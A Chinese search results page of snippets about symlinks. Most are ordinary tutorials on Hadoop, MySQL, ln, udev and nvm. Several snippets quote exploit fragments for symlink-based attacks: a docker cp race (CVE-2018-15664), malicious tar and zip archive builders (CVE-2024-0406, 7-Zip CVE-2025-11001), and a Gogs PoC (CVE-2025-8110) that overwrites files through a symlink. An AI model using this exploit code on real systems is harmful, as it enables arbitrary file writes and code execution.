首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏开源部署

    Hadoop 2.2.0 Symlink的使用

    Hadoop 2.2.0允许创建软连接并且允许MapReduce程序直接处理这些Symlink。 为了允许在集群中创建symlink,需要在配置文件hdfs-site.xml中增加如下的配置项:   <property>           <name>test.SymlinkEnabledForTesting </name>           <value>true</value>   </property>   创建symlink有两种方式:一种是FileSystem.createSymlink方式,

    59000编辑于 2022-06-28
  • 来自专栏云计算教程系列

    如何使用Symlink更改MySQL数据目录

    关闭服务器后,我们会将现有数据库目录移动到新位置: $ sudo mv /var/lib/mysql /mnt/volume-nyc1-01/mysql 接下来,我们将创建Symlink: $ sudo ln -s /mnt/volume-nyc1-01/mysql /var/lib/mysql 有了Symlink,这似乎是重新启动MySQL的最佳时机,但在我们成功完成之前还有一件事需要配置。 结论 在本教程中,我们移动了MySQL的数据,并使用Symlink使MySQL了解新位置。我们还更新了Ubuntu的AppArmor ACL以适应调整。 ---- 参考文献:《How to Change a MySQL Data Directory to a New Location Using a Symlink

    5.4K60发布于 2018-07-26
  • 来自专栏编程微刊

    Error: EBUSY: resource busy or locked, symlink

    Error: EBUSY: resource busy or locked, symlink ?

    4.1K20发布于 2019-05-17
  • 来自专栏poslua

    ln 强制覆盖 symlink 失败问题研究

    dev/stdout", 3, "stdout") = -1 ENOTDIR (Not a directory) newfstatat(3, "stdout", 0x7fffcaf03a90, AT_SYMLINK_NOFOLLOW 升级内核 2. ln 执行前,先手动删除 symlink 3. 添加 -n 选项让 ln 将已存在的 symlink 当作文件处理 Q: 那为啥 debian 下就没有问题? .}) = 0 symlink("/dev/stdout", "/tmp/access.log") = -1 EEXIST (File exists) unlink("/tmp/access.log") = 0 symlink("/dev/stdout", "/tmp/access.log") = 0 lseek(0, 0, SEEK_CUR)

    1.5K20编辑于 2023-03-08
  • 来自专栏编程微刊

    Error: EBUSY: resource busy or locked, symlink

    Error: EBUSY: resource busy or locked, symlink 我也不知道是为啥,在网上百度了一些方法,有些人说关掉电脑的杀毒软件,比如360,有些人说删掉依赖包,执行npm

    38700编辑于 2025-05-18
  • 来自专栏ytkah

    laravel项目thinksns-plus安装出现RuntimeException Symlink from * to * failed错误

    ytkah安装thinksns-plus的laravel项目时出现了一个错误,提示如下,这个可能跟php函数被禁用有关,查看了一下安装文档,有一项php环境要求“exec,system,scandir,symlink Symlink

    84210发布于 2018-08-01
  • 来自专栏原创分享

    minix文件系统源码分析之symlink.c(基于linux1.2.13)

    /* * linux/fs/minix/symlink.c * * Copyright (C) 1991, 1992 Linus Torvalds * * minix symlink * symlinks can't do much... */ // 操作软链接文件的函数集,在新建软链接文件的时候赋值给inode结构体 struct inode_operations minix_symlink_inode_operations create */ NULL, /* lookup */ NULL, /* link */ NULL, /* unlink */ NULL, /* symlink

    1.3K20发布于 2019-07-30
  • 来自专栏网络安全攻防

    CVE-2018-15664:Docker CP任意读写主机文件

    /build 文件目录查看: root@ubuntu:/home/ubuntu# tree symlink_race symlink_race ├── build │ ├── Dockerfile /builddir/symlink_swap.c RUN gcc -Wall -Werror -static -o /builddir/symlink_swap /builddir/symlink_swap.c /symlink_swap ENTRYPOINT ["/symlink_swap"] Run_read.sh内容: SYMSWAP_PATH=/totally_safe_path SYMSWAP_TARGET 容器,最后写了个while死循环实现不间断docker cp行为 Symlink_swap.c重点内容: /* * Now create a symlink to "/" (which ,然后使用symlink函数将symlink_path软链接至系统根目录,最后使用for (;;)死循环调用rrenameat2函数,创造赢得TOCTOU攻击的机会,根据作者介绍poc脚本只有1%的机会成功利用

    1.3K30编辑于 2022-09-07
  • 来自专栏网络安全攻防

    CVE-2018-15664:Docker CP任意读写主机文件

    /build 文件目录查看: root@ubuntu:/home/ubuntu# tree symlink_race symlink_race ├── build │ ├── Dockerfile /builddir/symlink_swap.c RUN gcc -Wall -Werror -static -o /builddir/symlink_swap /builddir/symlink_swap.c /symlink_swap ENTRYPOINT ["/symlink_swap"] Run_read.sh内容: SYMSWAP_PATH=/totally_safe_path SYMSWAP_TARGET 容器,最后写了个while死循环实现不间断docker cp行为 Symlink_swap.c重点内容: /* * Now create a symlink to "/" (which ,然后使用symlink函数将symlink_path软链接至系统根目录,最后使用for (;;)死循环调用rrenameat2函数,创造赢得TOCTOU攻击的机会,根据作者介绍poc脚本只有1%的机会成功利用

    22300编辑于 2024-12-10
  • 来自专栏linux运维

    符号链接问题:符号链接损坏或无效

    查看符号链接:ls -l /path/to/symlink例如:lrwxrwxrwx 1 user user 12 Jan 1 12:34 /path/to/symlink -> /path/to/target 删除无效的符号链接:rm /path/to/symlink 创建新的符号链接:ln -s /path/to/new_target /path/to/symlink3. 检查符号链接链:readlink -f /path/to/symlink修复链中的每一个符号链接:删除无效的符号链接:rm /path/to/invalid_symlink创建新的符号链接:ln -s /path/to/new_target /path/to/invalid_symlink4. 恢复符号链接:cp /path/to/backup/symlink /path/to/symlink7.

    1.4K00编辑于 2025-02-04
  • 来自专栏网络安全技术点滴分享

    CVE-2024-0406 漏洞利用验证框架 | 针对tar存档符号链接路径遍历

    使用说明基础使用示例from symlink_exploit import SymlinkArchiveExploit# 初始化漏洞利用实例exploit = SymlinkArchiveExploit ="symlink_pyld", # 符号链接名称 archive_name="malicious.tar" # >", symlink_name="config_symlink", archive_name="exploit.tar")if exploit.create_malicious_archive = tarfile.TarInfo(name=self.symlink_name) symlink_info.type = tarfile.SYMTYPE symlink_info.linkname = self.target_path tar.addfile(symlink_info) # 创建同名的普通文件条目

    14210编辑于 2026-03-04
  • 来自专栏从ORACLE起航,领略精彩的IT技术。

    CentOS7的udev的绑定规则

    block",PROGRAM=="/lib/udev/scsi_id -g -u -d /dev/$name",RESULT=="36acb3b510041191b0de7bcdd0000000f",SYMLINK block",PROGRAM=="/lib/udev/scsi_id -g -u -d /dev/$name",RESULT=="36acb3b510041191b0de7bcdd0000000f",SYMLINK block",PROGRAM=="/lib/udev/scsi_id -g -u -d /dev/$name",RESULT=="36acb3b510041191b0de7be3900000010",SYMLINK block",PROGRAM=="/lib/udev/scsi_id -g -u -d /dev/$name",RESULT=="36acb3b510041191b0de7bec100000011",SYMLINK block",PROGRAM=="/lib/udev/scsi_id -g -u -d /dev/$name",RESULT=="36acb3b510041191b0de7bfc900000012",SYMLINK

    2.3K11发布于 2020-09-10
  • 来自专栏软件设计

    6.S081/6.828: 9 Lab file system

    3 代码实现首先增加系统调用symlink;//syscall.h#define SYS_symlink 22//usys.plentry("symlink");//syscall.c[SYS_symlink ] sys_symlink,//stat.h#define T_SYMLINK 4 //symbolic link然后实现sys_symlink(),如下:读取target字符串和path地址; uint64sys_symlink(void){ char target[MAXPATH],path[MAXPATH]; if(argstr(0,target,MAXPATH)<0) return if(ip->type==T_SYMLINK && (omode & O_NOFOLLOW)==0){ int count=0; char symlinkpath[MAXPATH]; =T_SYMLINK){ break; } count++; } }测试结果图片

    62330编辑于 2022-12-02
  • 来自专栏网络安全技术点滴分享

    深入解析Gogs高危漏洞CVE-2025-8110:符号链接绕过实现RCE的完整POC

    /pwned_symlink" # 仓库中的任意名称 create_symlink(session, args.url, args.repo, symlink_name, args.target 符号链接创建def create_symlink(session, base_url, repo, symlink_path, target_path): """Step 1: Create a api_url = f"{base_url}/api/v1/repos/{repo}/contents/{symlink_path}" symlink_content = base64.b64encode = 201: raise ValueError(f"Failed to create symlink: {resp.text}") print(f"[+] Symlink created 通过符号链接覆盖文件def overwrite_via_symlink(session, base_url, repo, symlink_path, payload): """Step 2: 'Update

    23210编辑于 2026-01-18
  • 来自专栏summerking的专栏

    如何屏蔽linux服务

    Created symlink from /etc/systemd/system/dbus-org.freedesktop.nm-dispatcher.service to /usr/lib/systemd Created symlink from /etc/systemd/system/network-online.target.wants/NetworkManager-wait-online.service Removed symlink /etc/systemd/system/dbus-org.freedesktop.NetworkManager.service. Removed symlink /etc/systemd/system/dbus-org.freedesktop.nm-dispatcher.service. Removed symlink /etc/systemd/system/network-online.target.wants/NetworkManager-wait-online.service.

    3.8K20编辑于 2023-02-18
  • 来自专栏szhshp 的第四边境中转站

    NVM Windows Portable Installation

    /coreybutler/nvm-windows/releases/download/1.1.7/nvm-noinstall.zip Environment Variables 实现原理: NVM_SYMLINK 设定的版本不同指向不同的 node 文件夹 环境变量设置: NVM_HOME 设置成 nvm 安装文件夹, 和 nvm.exe 放在同一个文件夹 例如 C:\InstalledSoftware\nvm NVM_SYMLINK 设置成一个不存在的文件夹, 以后会用来放 nodejs 的快捷方式 C:\InstalledSoftware\nvm\nodejs 修改 path: 添加 %NVM_HOME% 和 %NVM_SYMLINK % 到 path (用户环境变量即可), 然后重启 CLI 主要就是要确保 %NVM_SYMLINK% 添加到了 path, 不然无法定位到对应的 node Config 设置 nvm 路径下面添加一个 npm.taobao.org/mirrors/node/ npm_mirror: https://npm.taobao.org/mirrors/npm/ root: %NVM_HOME% 指向的文件夹 path: %NVM_SYMLINK

    78220编辑于 2022-09-21
  • 来自专栏信数据得永生

    [2014.3.23]cse::lab2::partD 简明攻略

    2. yfs_client.h和yfs_client.cc里面增加两个方法:symlink和readlink(当然名字可以随便起 只要便于记忆就成)。 symlink中创建一个软连接类型的文件并写入连接内容,参数列表相当于create多一个link(请把mode无视掉)。 由于create、mkdir和symlink三个函数都要创建文件,所以建议把创建文件的逻辑单写一个函数并传进类型,上述三个函数来调用。 /doxygen/structfuse__lowlevel__ops.html)的symlink和readlink接口。 若是成功fuseserver_symlink调用fuse_reply_entry,fuseserver_readlink调用fuse_reply_readlink。

    64630发布于 2019-02-15
  • 来自专栏全志嵌入式那些事

    全志D1-H哪吒开发板开机连接wifi热点, 启动 sshd 服务

    default/dropbear start() { DROPBEAR_ARGS="$DROPBEAR_ARGS -R" # If /etc/dropbear is a symlink to /var/run/dropbear, and # - the filesystem is RO (i.e. we can not rm the symlink), # create the directory pointed to by the symlink # - the filesystem is RW (i.e. we can rm the symlink), # replace the symlink with

    41010编辑于 2024-02-02
  • 来自专栏frytea

    virt-manager 启动提示 virt qemu-sock no such file or directory

    $ systemctl enable virtqemud Created symlink from /etc/systemd/system/multi-user.target.wants/virtqemud.service Created symlink from /etc/systemd/system/sockets.target.wants/virtqemud.socket to /usr/local/lib/systemd Created symlink from /etc/systemd/system/sockets.target.wants/virtqemud-ro.socket to /usr/local/lib/systemd Created symlink from /etc/systemd/system/sockets.target.wants/virtqemud-admin.socket to /usr/local/lib

    78520编辑于 2023-10-18
  • 来自专栏网络安全技术点滴分享

    7-Zip CVE-2025-11001漏洞利用工具

    payload.exe--dir-name顶层目录名称(默认:data)--dir-name folder--link-name顶层目录下的符号链接名称(默认:link_in)--link-name symlink # 目录权限属性 zi.compress_type = zipfile.ZIP_STORED # 不压缩 z.writestr(zi, b'') # 写入空内容作为目录def add_symlink ", "-t", required=True, help="Destination path the symlink points to - specify a \"C:\" : data)." ) parser.add_argument( "--link-name", default="link_in", help="Symlink (z, link_entry, args.symlink_target) # 添加符号链接 add_file_from_disk(z, file_entry, args.data_file

    23810编辑于 2025-12-26
领券